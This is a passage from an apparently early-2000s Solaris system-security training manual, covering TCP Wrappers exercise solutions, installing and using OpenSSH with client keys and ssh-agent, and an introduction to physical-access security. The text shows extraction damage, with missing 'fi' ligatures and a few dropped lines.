Go away wallace you are not allowed access to this service
3. Check your conguration with the tcpdmatch command:
# tcpdmatch in.telnetd localhost
access: denied
Configuring TCP Wrappers to Warn of Denied telnet
Access
Enhance your TCP Wrappers conguration to use the write command to
send a message to the root user whenever an attempt to use the telnet
command is denied (include the clients IP address and host name in the
message).
Update the entry for your workstation in the /etc/hosts.deny le:
in.telnetd: hostname: banners /etc/tcpd.deny: spawn echo "telnet intruder
%c(%h)" | write root
Test your changes by running telnet from a shell window to connect
back to your system. You should receive your banner message back as
before, and all your shell windows should show a write message:
# telnet localhost
...
Message from root on wallace (pts/6) [ Fri May 25 12:57:28 ] ...
Exercise Solutions
telnet intruder wallace(192.168.0.250)
<EOT>
Configuring TCP Wrappers to Deny Access to All
Hosts Except Those Specified
1. Congure your system so that all systems other your workstation
and the instructors workstation are denied access to the telnet
service:
a. Create a le called /etc/hosts.allow with the following
entries (assuming the instructors system is called grommit and
your system is wallace):
in.telnetd: wallace, grommit
b. Update the single line in the /etc/hosts.deny le to deny all
hosts (remove the spawn option to avoid unwanted write
commands being issued):
in.telnetd: ALL: banners /etc/tcpd.deny
2. Remove all access controls for network services on your system by
either:
Removing the /etc/hosts.deny and /etc/hosts.allow les:
# rm /etc/hosts.deny /etc/hosts.allow
Or restoring the original telnet entry in the /etc/inetd.conf le:
telnet stream tcp6 nowait root /usr/sbin/in.telnetd in.telnetd
Removing Host Access Control
Remove your host access les to prevent host access control from
interfering with future module exercises:
# rm /etc/hosts.allow /etc/hosts.deny
16-1
Module 16
SecuringRemoteAccess
Objectives
G Identify the benets of the secure shell
G Install and congure the secure shell
G Use the secure shell
Relevance
Relevance
?
!
Discussion The following questions are relevant to securing remote
access:
G Do you regularly use the Berkeley r commands (such as rsh,
rlogin, and rcp) or telnet for remote access?
G How can you make these commands easier or more convenient to
use?
G What are the security implications of these strategies?
G What methods are available to make such tools secure?
Securing Remote Access 16-3
G OpenSSH, [http://www.openssh.com/]
G Online man page for the OpenSSH utilities ssh(1), ssh-add(1),
ssh-agent(1), ssh-keygen(1), and sshd(8), scp(1)
G Solaris OE Freeware, [http://www.sunfreeware.com/]
G Gregory, Pete H., Solaris Security. Prentice Hall, 2000.
G Barrett, Daniel J. and Silverman, Richard E., SSH: The Secure Shell,
The Denitive Guide (the Snail Book), OReilly and Associates, 2000.
G Barrett, Daniel J. and Silverman, Web site for the Snail Book,
[http://www.snailbook.com]
Identifying the Benefits of the Secure Shell
Identifying the Benets of the Secure Shell
The secure shell (OpenSSH) is one utility in a set of utilities in the
OpenSSH suite of tools. This suite of tools replaces remote access
programs such as telnet and the Berkeley r commands (rlogin, rsh,
rcp). The OpenSSH tools provide improved security and functionality
compared with the other suites of tools, and require little learning for
users familiar with the old commands. The latest version of OpenSSH also
contains a secure replacement for FTP.
The OpenSSH design philosophy is:
G Never trust the network (even a component of it, such as a DNS
server).
G Place a minimum of trust in the remote server.
To obtain a high level of security, OpenSSH uses encryption and
authentication algorithms, and in particular uses a cryptography known
as public key encryption. These functions have resulted in a very secure set
of tools.
The SSH protocol is almost Internet standard (it does not have an RFC
number allocated yet), and many SSH clients are available for a wide
range of operating systems. A user without root access can install SSH
(with reduced functionality). You can set SSH to revert to the Berkeley r
commands if SSH is not available on the remote server.
SSH is often supported as a secure transport mechanism. For example,
utilities such as CVS and rsync can use SSH for the secure transfer of les.
The original SSH program was written by Tatu Ylonen of Finland in 1995
and released as freeware, although it is now being marketed
commercially. OpenSSH is a derivative of an early version of SSH.
OpenSSH is being developed independently and is available for free on
the Web.
OpenSSH Tools
The OpenSSH suite of tools consists of the following programs:
G ssh(1) The client program used to log into another machine or to
execute commands on the other machine. (slogin is often used as an
alias for ssh.)
G scp(1) Securely copies les from one machine to another. scp(1)
can copy recursively, and it can copy les between two remote
machines.
G ssh-keygen(1) Creates authentication keys for server and client
authentication.
G ssh-agent(1) An authentication agent that holds keys on behalf
of the user. ssh-agent(1) eliminates the need to constantly enter
passphrases to unlock keys.
G ssh-add(1) Registers new keys with the authentication agent.
G ssh-keyscan(1) Obtains public keys from servers.
G sftp(1) A secure version of FTP
G sshd(8) The server program that runs on the server machine. It
listens for connections from clients (ssh or scp). When it receives a
connection, sshd(8) performs authentication and begins serving the
client.
G sftp-server(8) The server program that processes requests from
sftp.
Using Encryption and Compression
OpenSSH is more secure than the Berkeley r commands because the tools
are immune to network monitoring. All authentication information and
session data is encrypted. Session data can be just as valuable as the
authentication information, because it might contain passphrases, credit
card or bank details, and other sensitive information.
To encrypt the communication session, the client and server generate and
exchange a session key using the RSA (Rivest Shamir Adlemanthe
professors who created the algorithm) public key algorithm. After the
session key is exchanged, all trafc between the client and server is
encrypted and safe from anyone monitoring the network.
OpenSSH also performs compression. Compression can improve
performance, for example in situations when you are copying large les
over slow connections.
Security Benefits of Server Authentication
OpenSSH prevents spoong or man-in-the-middle attacks. This class of
attacks involves fooling a client into accessing another server instead of
the one the client wants. Spoong can be done with a compromised router
or a DNS server.
When the client connects to the untrusted server, it reveals the
authentication information, and the untrusted server uses this
information to connect to the true server as the client. The untrusted
server passes information between the client and the true server and then
obtains authentication information and session data.
To prevent this class of attack, OpenSSH uses the RSA public key
algorithm for authenticating servers. The server generates a public and
private RSA key pair (RSA keys always come in pairs). The public key is
distributed to clients and authenticates the server (because only the server
has the private key that creates the authentication certicates).
The rst time an OpenSSH program connects to a server, it records the
servers public key in a le. If the client connects to the same server later
and the public key has changed, the client knows a spoong attack might
be happening. The client is warned and is asked whether it wants to
proceed (the server might have been upgraded and generated a new key).
The current server authentication scheme means there can be a spoong
attack on the very rst connection to a server. One solution to this
problem might be to use certicates in the same way as the Secure Socket
Layers (SSL) security protocol.
Certicates make the software and administration procedure more
complicated because certicates must be certied by a certication
authority and checked against revocation lists. Certicates are better used
as a digital identity, where you do not know the second party.
With remote access, however, you usually know the other party, so you
can avoid the use of certicates and check the key ngerprint on the rst
connection. Another option is to manually record the correct server key in
the known_hosts le. The ssh-keyscan program can create known_hosts
les.
Client Authentication
OpenSSH uses RSA encryption keys for authentication. Like server
authentication keys, RSA encryption keys consist of public and private
components. Authentication uses a challenge-response algorithm, where
the server generates a challenge and the client must provide the correct
response. The client uses the keys private component to generate the
correct response, and the server veries it using the keys public
component. You must register the public component of the client key with
the server for your client to be granted remote access. Because the server
never accesses the clients private key, an intruder on a compromised
server cannot obtain the clients keys.
On a standard, passphrase-based system an intruder could collect
passphrases from clients as they connected. This is why you should not
use the same passphrase for multiple servers. However, with OpenSSH
client keys, you do not have a security problem using a single key for all
accounts.
The clients public and private key pair are stored in the user directory. To
prevent the theft of a users key (perhaps when a machine is left
unattended), the private key is usually encrypted with a passphrase.
When you use the OpenSSH tools with RSA authentication, the
passphrases are only used to encrypt the private key, and the passphrases
are not directly used for authentication.
Forwarding TCP/IP Ports Using OpenSSH
Port forwarding is an OpenSSH process where the ssh program:
G Connects to a remote server
G Listens on various ports on this server
G Forwards all trafc to and from ports on the client machine
For instance, X clients (such as xterm) typically communicate with the X
server using port 6000. By conguring the ssh program to listen on port
6000 when logged into the remote machine and forwarding trafc to and
from port 6000 on the local machine (where the X server is running), it
appears that there is an X server running locally on the remote machine
that X clients can use. Figure 16-1 demonstrates X11 port forwarding.
Figure 16-1 X11 Port Forwarding
Without port forwarding, the X11 session must be transmitted
unencrypted, as shown in Figure 16-2.
Figure 16-2 X11 Session Without Port Forwarding
Using the ssh port fowarding program means that X clients can use the
SSHencrypted communication channel instead of making a direct (and
potentially insecure) connection to the client.
X11 is not the only application that makes use of port forwarding, but it is
the most common one. Because X11 is so common, the ssh program
forwards the appropriate X11 ports by default, and sets the DISPLAY
environment variable for use by the X11 programs on the server.
Copying Files and Executing Commands
The ssh program does not just provide a login shell on a remote machine.
You can use the ssh program to execute commands remotely (similarly to
rsh, except that with the ssh program you have the security benets
described previously in Identifying the Benets of the Secure Shell on
page 16-4). Executing commands remotely is useful when you build
scripts, especially when you use the ssh programs automatic
authentication features.
The scp program is the OpenSSH replacement for rcp. The security
benets described previously in Identifying the Benets of the Secure
Shell on page 16-4 apply. As with the ssh program, the automatic
authentication features can make scp particularly valuable when you
write scripts.
In addition to the scp program, the OpenSSH tools include a secure
version of FTP. The secure FTP allows you to transfer les in a secure and
interactive manner.
Benefits of the Password Agent
OpenSSH includes the ssh-agent program. This is the password agent
that reduces the need to constantly enter passphrases required for
authentication keys. Run the ssh-agent program once at the beginning of
a session, and the OpenSSH utilities obtain passphrases from the
passphrase agent instead of interactively prompting the user. Use the
ssh-add program to register the keys with the ssh-agent program, and
from then on the OpenSSH utilities automatically obtain the keys from the
agent.
An environment variable holds the process identier of the ssh-agent
program. The OpenSSH client uses this environment variable to
determine which ssh-agent program to communicate with. You can use
this information to create long lasting ssh-agent programs, and to use
ssh-agent programs with scripts.
Configuring the OpenSSHServer
Conguring the OpenSSHServer
The server conguration is stored in the /etc/sshd_config le. The
default version of the sshd_config le is shown in Code 16-1.
Code 16-1 Default sshd_config File
1 # This is ssh server systemwide configuration file.
2
3 Port 22
4 #Protocol 2,1
5 #ListenAddress 0.0.0.0
6 #ListenAddress ::
7 HostKey /etc/ssh_host_key
8 ServerKeyBits 768
9 LoginGraceTime 600
10 KeyRegenerationInterval 3600
11 PermitRootLogin yes
12 #
13 # Don't read ~/.rhosts and ~/.shosts files
14 IgnoreRhosts yes
15 # Uncomment if you don't trust ~/.ssh/known_hosts for
RhostsRSAAuthentication
16 #IgnoreUserKnownHosts yes
17 StrictModes yes
18 X11Forwarding no
19 X11DisplayOffset 10
20 PrintMotd yes
21 KeepAlive yes
22
23 # Logging
24 SyslogFacility AUTH
25 LogLevel INFO
26 #obsoletes QuietMode and FascistLogging
27
28 RhostsAuthentication no
29 #
30 # This requires host keys in /etc/ssh_known_hosts
31 RhostsRSAAuthentication no
32 #
33 RSAAuthentication yes
34
35 # To disable tunneled clear text passphrases, change to no here!
36 PasswordAuthentication yes
37 PermitEmptyPasswords no
38 # Uncomment to disable s/key passwords
39 #SkeyAuthentication no
40
41 # To change Kerberos options
42 #KerberosAuthentication no
43 #KerberosOrLocalPasswd yes
44 #AFSTokenPassing no
45 #KerberosTicketCleanup no
46
47 # Kerberos TGT Passing does only work with the AFS kaserver
48 #KerberosTgtPassing yes
49
50 #CheckMail yes
51 #UseLogin no
52
53 #Subsystemsftp /usr/local/sbin/sftpd
54 #MaxStartups 10:30:60
You might want to modify the le to:
G Disable or enable certain forms of authentication (for example, you
might enable .rhosts authentication by modifying lines 14 and 28).
G Use a non-standard port (sshd listens on port 22, shown on Line 3).
G Disable or enable X11 port forwarding (Line 18).
G Setting the Syslog parameters (Line 2425).
G Change the le location where the authentication keys are stored
(Line 7).
G Accept or deny root logins (Line 11). It is a good idea to deny root
logins and use the su command for administration instead.
The server conguration applies to this particular host. You cannot dene
different settings based upon which users connect or where they connect
from. You can run two separate servers, each with its own conguration
le, on different ports.
Creating the Host Key
Before you can start the sshd server daemon, you must have the
/etc/sshd_config le and a host key for the server. To create the key,
use the ssh-keygen command.
Creating the host key is slightly different from creating the key for an
individual user. When you create the key required to start the sshd
daemon, you do not use a password. The key is placed in the
/etc/ssh_host_key le (using the -f argument), as shown in Code 16-2.
Code 16-2 Creating the Host Key
# ssh-keygen -f /etc/ssh_host_key
Generating RSA keys: Key generation complete.
Enter passphrase (empty for no passphrase): <enter>
Enter same passphrase again: <enter>
Your identification has been saved in /etc/ssh_host_key.
Your public key has been saved in /etc/ssh_host_key.pub.
The key fingerprint is:
bf:b3:a6:8e:2d:b1:86:63:64:44:b4:6f:52:cc:7e:42 root@grommit
Note If you install OpenSSH from a source distribution instead of a
binary distribution, the make install script generates and installs the
server keys automatically. Code 16-2 on page 16-19 is the manual method
of generating keys using the ssh-keygen command from a binary
installation.
Starting the Secure Shell Daemon
Start the sshd server daemon by executing the sshd command:
# /usr/local/bin/sshd
The sshd command is usually placed in the /etc/rc2.d startup scripts
and the server executes as a daemon in the background. You can execute
the sshd server from inetd, but this has performance implications
because the server needs to create session keys using the RSA algorithm.
Creating session keys can be time consuming and might cause server
delays. When the server runs as a daemon, the server calculates the
session keys beforehand, so incoming connections are processed instantly.
You can run the server in debug mode by using the -d ag, which is useful
for testing and debugging. When you run the server in debug mode:
G The server does not run in the background as a daemon
G All debugging and log information is displayed on the standard
output, not in the log les
G The server exits after processing one connection
Installing the Secure FTP Server
The secure FTP server (sftp-server) requires no special installation or
conguration. The sshd program starts sftp-server automatically
whenever secure FTP requests are made to the server.
Using OpenSSHClients
You can use the ssh program to obtain a shell on a remote machine, as
with the rsh program, where the argument you provide is the remote
machine name, as shown in Code 16-3.
Code 16-3 Running the ssh Program to Obtain a Remote Shell
$ ssh grommit
alice@grommit's password: <enter password>
In Code 16-3, the user is prompted for a passphrase on the remote
machine. This is because the program uses standard passphrase-based
authentication. When you add other types of authentication, this method
changes.
In addition to starting a remote shell, you can run a command by
providing a command as the second argument, as shown in Code 16-4 on
page 16-24.
Code 16-4 Running a Command Using the ssh Program
$ ssh grommit w
8:51PM up 38 days, 5:25, 4 users, load averages: 0.10, 0.17, 0.15
USER TTY FROM LOGIN@ IDLE WHAT
gary p0 pm00 6:16PM 2:00 -su (zsh)
gary p1 node1005b.a2000. 05May01 20:07 -su (zsh)
gary p2 pm00 6:51PM - sshd:
gary p3 pm00 8:06PM - ./ssh/ssh 195.6
Use the scp program to copy les between machines, as shown in
Code 16-5.
Code 16-5 Using the scp Program to Copy Files
$ scp grommit:/etc/motd /tmp/motd
/etc/motd 100%
|********************************************************************|
344 00:00
Note Some later versions of the OpenSSH utilities display the remote
environment variables on the error output. This does not usually cause
problems, but if you want to keep the remote environment variables from
being displayed, add 2>/dev/null to the example commands.
Determining Known Hosts
The rst time you access a host with any of the OpenSSH clients, you see
a message like that shown in Code 16-6.
Code 16-6 Determining Known Hosts
The authenticity of host '192.168.0.1' can't be established.
RSA key fingerprint is bf:b3:a6:8e:2d:b1:86:63:64:44:b4:6f:52:cc:7e:42.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.0.1' (RSA) to the list of known
hosts.
This warning informs you that the host is unknown to you (although
other users may have accessed this host), and asks whether the session
should continue. If you decide to continue, the host key of the server is
added to your le of known hosts ($HOME/.ssh/known_hosts), and
subsequent access to that host continues without prompting. If, however,
the host key changes, you get another warning because a
man-in-the-middle attack might be occurring.
You can create a system-wide le of known hosts
(/etc/ssh_known_hosts) containing the public keys of remote servers,
so that the warning in Code 16-6 on page 16-25 is not displayed. The
OpenSSH client checks for a known host in both the system-wide
/etc/ssh_known_hosts le and the users known_hosts les.
Generating Client Keys
To create a client key, use the ssh-keygen command. This is the same
command you use to generate a server key, except that now you should
enter a passphrase when prompted (with the server key you used a null
passphrase), as shown in Code 16-7.
Code 16-7 Generating Client Keys
$ ssh-keygen
Enter file in which to save the key (/home/alice/.ssh/identity): <enter>
Enter passphrase (empty for no passphrase): <enter passphrase>
Enter same passphrase again: <enter passphrase>
Your identification has been saved in /home/alice/.ssh/identity.
Your public key has been saved in /home/alice/.ssh/identity.pub.
21:35:ae:ce:7e:26:cc:b8:4d:20:b6:d7:75:c1:ea:e5 alice@wallace
It is more important to protect user keys with a passphrase, and not the
server key, because the user keys allow access to other systems. Use the
server key only for host authentication, and a warning is generated by
clients if it ever changes.
The generated keys reside in two les called identity and
identity.pub, in the subdirectory.ssh in the users home directory. The
private key is stored in the identity le, and is in a binary format, while
identity.pub is text and looks like Code 16-8 (but all on one line).
Code 16-8 The identity.pub File
1024 35
1513654262912171898155246102814427367532890757465755146449159850815574939
2701684041728291715059541620863674232803606759935811785418186646278483739
5878212144805532410422736696434143284988351805292331858166145450914307704
5790282230525398782773290512186471891253206830274830645405338071526091544
70367552938409123 alice@wallace
Anything following the large number is only a comment and is ignored.
Granting Access to Other Users
With the Berkeley r commands, access to an account is usually granted
using the .rhosts les. While you can enable this method (it is disabled
by default), it is not recommended. Instead, grant access to an account
using the authorized_keys le. This le resides in the same directory as
the users identity.pub le (usually $HOME/.ssh/).
Grant a user access to your account by copying the contents of their
identity.pub le to your authorized_keys le. A typical
authorized_keys le has several lines similar to the line in Code 16-8 on
page 16-28, with one line for every authentication key that is granted
access to the account. The name at the end of every line is only a
comment, and is ignored.
Ideally, you should transfer the key in a secure manner, perhaps on a
oppy disk or through some other secure channel such as encrypted
email. One alternative is to email or copy the le in an insecure manner,
and to verify the key ngerprint over the telephone.
Using OpenSSH With RSA Authentication
When a user grants another user access by adding their public key (the
identity.pub le) to their authorized_keys le, you can access their
account without using (or even knowing) their passphrase. For example,
to use the ssh program to access user bobs account on machine grommit,
enter the following:
$ ssh -l bob grommit
Enter passphrase for RSA key 'alice@wallace': <enter passphrase>
You are not asked for the passphrase for user bob, but you are asked for
the passphrase to unlock your OpenSSH key. This also applies to the scp
command.
Using the ssh-agent Program
When you perform remote commands (ssh) or remote le copies (scp), or
when you run these programs from a script, you might want to avoid
entering the passphrase for your key. To do this without removing the
passphrase, use the ssh-agent program.
Execute the ssh-agent program with a parameter that is an executable
command itself, and give it an environment with access to the client keys.
Typically this parameter (program) is a shell or an X session. There are no
client keys in the environment until you add them using the ssh-add
program. You can also use the ssh-add program to view the keys in the
ssh-agent environment. When keys have been added, you can use the
ssh and scp commands without prompting for the passphrase.
Code 16-9 uses the ssh-agent program to start a subshell in which the
OpenSSH clients are executed.
Code 16-9 Using the ssh-agent Program to Start a Subshell
$ ssh-agent ksh
$ ssh-add -l
The agent has no identities.
$ ssh-add
Need passphrase for /export/home/alice/.ssh/identity
Enter passphrase for alice@wallace: <enter passphrase>
Identity added: /export/home/alice/.ssh/identity (alice@wallace)
$ ssh-add -l
1024 49:4b:13:bb:6f:8e:46:d1:cd:f2:33:5b:04:99:bb:bd alice@wallace
You do not need to enter the passphrase for the ssh command, because it
is now supplied by ssh-agent program.
You can use the ssh-agent program without an argument. In this case,
the ssh-agent program runs in the background, answering requests from
OpenSSH clients. You must set the SSH_AGENT_PID environment variable
for the OpenSSH clients to locate the agent and communicate with it. The
easiest way to use OpenSSH in this mode is to evaluate the ssh-agent
command as shown in Code 16-10.
Code 16-10 Running the ssh-agent Program in the Background
$ eval `ssh-agent`
$ ssh-add -l
$ ssh-add
Enter passphrase for alice@wallace: <enter passphrase>
$ ssh-add -l
You can also use the ssh-agent program by providing a command as an
argument, in which case the environment variable is automatically set.
The ssh-agent exits when the command exits.
Using the Secure FTP Client
The sftp program is an interactive le transfer program, similar to the
ftp(1)command. The sftp program performs all operations over an
encryption connection the same way as other OpenSSH clients. The sftp
program uses many of the OpenSSH clients features, such as public key
authentication and compression. The sftp program connects and logs
into the specied host, and then usually enters an interface command
mode. Use the sftp program instead of the scp program to allow
interactive browsing of les and directories.
To start the sftp program, use the remote server name as an argument:
% sftp grommit
You can also use the sftp program by providing the name of a le to be
retrieved as an argument (like scp):
% sftp grommit:/etc/motd
When you specify the le name, the le retrieval happens automatically,
when the interactive user authentication has taken place. If the
authentication method requires a passphrase, the user is prompted, and
the transfer automatically happens.
Configuring the Client
The client conguration is stored in the /etc/ssh_config le. The
standard le contains only comments (as shown in Code 16-11), because
the defaults are usually adequate.
Code 16-11 The /etc/ssh_config File
1 # This is ssh client systemwide configuration file. This file
provides
2 # defaults for users, and the values can be changed in per-user
configuration
3 # files or on the command line.
4
5 # Configuration data is parsed as follows:
6 # 1. command line options
7 # 2. user-specific file
8 # 3. system-wide file
9 # Any configuration value is only changed the first time it is set.
10 # Thus, host-specific definitions should be at the beginning of the
11 # configuration file, and defaults at the end.
12
13 # Site-wide defaults for various options
14
15 # Host *
16 # ForwardAgent yes
17 # ForwardX11 yes
18 # RhostsAuthentication yes
19 # RhostsRSAAuthentication yes
20 # RSAAuthentication yes
21 # PasswordAuthentication yes
22 # FallBackToRsh no
23 # UseRsh no
24 # BatchMode no
25 # CheckHostIP yes
26 # StrictHostKeyChecking no
27 # IdentityFile ~/.ssh/identity
28 # Port 22
29 # Protocol 2,1
30 # Cipher blowfish
31 # EscapeChar ~
You can modify the le to:
G Specify the type of authentication used.
G Use a non-standard port.
G Specify the encryption algorithm used (the client determines the
algorithm used, as long as the server supports it).
G Change the location of the les where the client keys are stored.
G Prevent access to servers whose authentication key is not known to
the client (as opposed to warning the user that the key is unknown
or changed). When this option is set, you must add new hosts to the
known_hosts le manually or by using the ssh-keyscan program.
G Use the Host directive to manage settings. You can make settings
globally or make server-specic entries. The Host directive takes a
machine name as an argument and restricts all settings (up until the
next Host directive, or the end of le) to apply to that server only.
You can use the * and ? wildcards in the machine name, and you can
specify the default setting using Host *. For example, if the server at
pluto.sun.com runs on a non-standard port (the default is 22), you
can specify this value by adding the following to the ssh_config
le:
Host pluto.sun.com
Port 8022
Users can override these settings with command line options or their own
conguration le.
Note Ensure that specic Host directives are placed later in the le than
the less specic ones. For example, always place the default directives
rst, otherwise the default directives override the previous ones.
Exercise: Using Secure Shell
G Install, congure, and use the secure shell
G Verify that transmissions sent by a user using the ssh program are
encrypted
G Congure client keys
G Use the ssh-agent program to manage passphrases
Preparation
Ensure that any host access control set up in the les /etc/hosts.allow
and /etc/hosts.deny is disabled (in other words, remove these two
les).
Task Using Secure Shell
Work in pairs to install a minimal conguration of the secure shell on a
server and a client.
Task Installing OpenSSH
You can download OpenSSH from the Sun Freeware Web site; see
Additional Resources on page 16-3. A copy has already been
downloaded and saved in the /usr/local/pkg directory. Install this
SVR4 package using the pkgadd command. You also must install the
OpenSSL library which is available from the same Web site in the
Task Using OpenSSH
In the next steps, you create the host key for the secure shell server.
Similar steps are taken for creating keys for individual users, except that
the le locations are different, and the server does not use a passphrase
with a key.
To create the host key:
1. As the root user on the server, use the ssh-keygen command to
generate the keys for the server. Use the default directory for the key
location for this exercise. Press the Enter key when prompted for a
passphrase.
2. When the host key has been generated, start the secure shell server
daemon. Start it in debug mode with the sshd -d command. Ignore
any error messages regarding DSA host keys.
3. On the server and client machines, identify two user accounts to use
with the secure shell. The account name and shell type do not matter,
although the following examples use the names alice and bob.
4. On the client machine, use the su command to change to user alice.
5. From the client machine, use the ssh command to connect to the
server as user bob.
6. If the command succeeded, the OpenSSH server is running correctly.
Restart the sshd program (on the server machine), this time without
the debug ag. Use the ps program to ensure that the server is
running.
Task Checking Secure Shell Encryption
To check encryption:
1. On the client machine, log in as user alice. To test the encryption of
the secure shell, verify that you can view clear text on the network
by using the snoop command as the root user in another window.
Log user alice out of the rlogin session but leave the snoop
command running in the other window.
server. Watch the window running the snoop command to see if the
connection is encrypted. When you are prompted for an answer to a
yes or no question, type the full word. You must also enter the
correct passphrase for the new user on the remote system.
Task Configuring Client Keys
To congure client keys:
1. From the client, use the ssh program to run a command on the
server. Run the command who to see the logged on users on the
server. Add 2>/dev/null to the command to remove the
environment variables from the output.
2. From the client, use the scp program to copy user alices
identity.pub le to the /tmp directory on the server. Use
2>/dev/null to remove the environment variables from the output.
3. From the server, add the identity.pub le you just copied to the
/tmp directory to user bobs authorized_keys le.
4. From user alice on the client machine, log in to the server as user
bob. Do this without using bobs passphrase. Use the access granted
from bobs authorized_keys le.
Task Using the ssh-agent Program
To use the ssh-agent program:
1. Run the ssh-agent program to congure your shell so that it has
access to the keys:
# eval `ssh-agent`
2. List the identities now available to the ssh-agent program.
3. Add a new identity to the agent.
4. List the identities now available.
5. Connect to another machine as user bob. You do not need to enter
the passphrase for the required key, because it is supplied by the
ssh-agent program.
6. If you have time, congure the client as a server and repeat the
exercises in reverse order.
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
This section provides the solutions for the exercises in this module.
Installing OpenSSH
Install OpenSSH using pkgadd. You also must install the OpenSSL library.
# cd /usr/local/pkg
# pkgadd -d openssh-2_5_1p1-sol8-sparc-local
Using OpenSSH
1. As the root user on the server, use the ssh-keygen command to
generate the keys for the server. Use the default directory for the key
location for this exercise. Press the Enter key when prompted for a
passphrase.
# ssh-keygen -f /etc/ssh_host_key
Enter passphrase (empty for no passphrase): <enter>
Enter same passphrase again: <enter>
Your identification has been saved in /etc/ssh_host_key.
Your public key has been saved in /etc/ssh_host_key.pub.
bf:b3:a6:8e:2d:b1:86:63:64:44:b4:6f:52:cc:7e:42 root@jeeves
Exercise Solutions
2. When the host key has been generated, start the secure shell server
daemon. Start it in debug mode with the sshd -d command. Ignore
any error messages regarding DSA host keys.
# /usr/local/bin/sshd -d
debug: sshd version OpenSSH_2.2.0
error: Could not load DSA host key: /etc/ssh_host_dsa_key
Disabling protocol version 2
debug: Bind to port 22 on ::.
Server listening on :: port 22.
debug: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
Generating 768 bit RSA key.
RSA key generation complete.
...
3. On the server and client machines, identify two user accounts to use
with the secure shell. The account name and shell type do not matter,
although the following examples use the names alice and bob.
4. On the client machine, use the su command to change to user alice:
# su - alice
Password: password
%
server as user bob:
% ssh -l bob grommit
bob@grommit's password: password
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
6. If the command succeeds, the OpenSSH server is running correctly.
Restart the sshd program (on the server machine), this time without
the debug ag. Use the ps program to ensure that it is running:
# /usr/local/bin/sshd
# ps -ef | grep sshd
root 1630 1 29 12:01:50 ? 0:08 /usr/local/bin/sshd
Exercise Solutions
Checking Secure Shell Encryption
1. On the client machine, log in as user alice.
login: alice
Password:
To test the encryption of the secure shell, verify that you can view
clear text on the network by using the snoop command as the root
user in another window. Log user alice out of the rlogin session
but leave the snoop command running in the other window:
# snoop
Using device /dev/hme
wallace -> grommit RLOGIN C port=1023
.............
Open another window, and use the rlogin command to log in to the
server:
login: alice
Password:
$ rlogin grommit
Password:
$ ls
local.cshrc local.login local.profile
$ exit
Connection closed.
$
You should see the clear text in the window running the snoop
command.
Exercise Solutions
server. Watch the window running the snoop command to see if the
connection is encrypted. When you are prompted for an answer to a
yes or no question, type the full word. You must also enter the
correct passphrase for the new user on the remote system.
$ ssh grommit
The authenticity of host 'jeeves' can't be established.
RSA key fingerprint is bf:b3:a6:8e:2d:b1:86:63:64:44:b4:6f:52:cc:7e:42.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'jeeves' (RSA) to the list of known hosts.
alice@jeeve's password: <enter password>
Last login: Sat May 12 20:49:42 2001 from wallace
$ ls
local.cshrc local.login local.profile
The window running the snoop command should not be displaying
cleartext any longer, proving that the connection is encrypted
between the client and server.
Exercise Solutions
Configuring Client Keys
1. From the client, use the ssh program to run a command on the
server. Run the who command to see the logged on users on the
server. Add 2>/dev/null to the command to remove the
environment variables from the output.
$ ssh grommit who 2>/dev/null
bob ttyp0 May 11 14:00 (195.64.77.11)
2. From the client. use the scp program to copy user alices
identity.pub le to the /tmp directory on the server. Use
2>/dev/null to remove the environment variables from the output.
$ scp .ssh/identity.pub grommit:/tmp/ 2>/dev/null
identity.pub 100%
|************************************************| 344 00:00
3. From the server, add the identity.pub le you just copied to the
/tmp directory to user bobs authorized_keys le.
% cp /tmp/identity.pub /home/bob/.ssh/authorized_keys
4. From user alice on the client machine, log in to the server as user
bob. Do this without using bobs password. Use the access granted
from bobs authorized_keys le.
$ ssh -l bob grommit
Enter passphrase for RSA key 'alice@wallace': <enter passphrase>
Last login: Sat May 12 21:05:46 2001 from wooster
% id
uid=1067(bob) gid=1067 groups=1067
Exercise Solutions
Using the ssh-agent Program
1. Run the ssh-agent program with sh as the command to execute
(so that this shell has access to the keys):
% ssh-agent sh
2. List the identities now available to ssh-agent:
% ssh-add -l
3. Add a new identity to the agent:
% ssh-add
Enter passphrase for alice@wooster: <enter passphrase>
4. List the identities now available to ssh-agent:
% ssh-add -l
5. Connect to another machine as user bob. You do not need to enter
the passphrase for the required key, because it is supplied by the
ssh-agent program.
% ssh -l bob grommit
Last login: Tue May 15 16:18:22 2001 from wallace
% id
uid=1067(bob) gid=1067 groups=1067
%
17-1
Module 17
SecuringPhysical Access
Objectives
Upon completion of this module, you should be able to explain and use
measures to physically secure a system. Specically, you should be able to:
G Justify the need for physical system security and dene measures
that enhance the physical system security
G Explain the potential weak points in a physical network
G Disable the STOP-A key
G Explain the role of the EEPROM password and security modes
Relevance
Relevance
?
!
Discussion All IT equipment is a potential target for a physical attack,
both intentional and unintentional; fire, floods, and other emergencies
have no respect for controlled access to data centers.
G What harm can be done to a system or its data if an intruder can
physically access the machine?
G Is it only the computer that needs to be physically protected?
Securing Physical Access 17-3
2001.
G Online manual pages for boot(1M), eeprom(8), kernel(1M),
monitor(1M), and system(4).
Assessing the Risk FromPhysical Intrusion
Modern computer networks are complex environments that have a
number of vulnerabilities. Not all attacks are launched by distant
intruders. People with physical access to the systems and networks might
also attempt to access data or impair functionality, for a variety of reasons.
Although it might seem more of a problem for military systems, physical
security is also important for commercial systems because:
G The potential rewards from successful commercial espionage can run
into millions of dollars.
G Commercially sensitive data is held on machines both in the data
center and in any ofce connected to the network.
G Commercially sensitive data is carried along the wires of the network.
Physical Intrusion Solutions
Solutions to physical intrusion onto a network are similar to those applied
to the computers themselves:
G Be aware of the potential for physical intrusion into the network.
G Control physical access to all IT equipment.
G Encrypt data sent over the network, especially if it is at all sensitive.
Types of Physical Intrusion
The types of physical intrusion can be classied as follows:
G Console access An intruder gains direct access to the system by
sitting at the console. This problem arises:
G When sessions are left logged-in
G When post-its with passwords written on them are left around
the workstation
G On systems (such as Microsoft Windows 98) that do not require
passwords for access
G Damage to systems An intruder with physical access can damage a
system and leave it inoperable.
G Data theft Backup tapes or other removable media are stolen. An
intruder could even remove parts of a system containing data, such
as hard drives.
G Power outage An intruder interferes with the supply of power to
systems and networks, causing a DoS attack. A sudden switching-off
of servers, or routers, or other components is potentially as damaging
as physically destroying the network.
G Network tapping An intruder with physical access to the network
monitors internal network trafc without having to defeat a rewall.
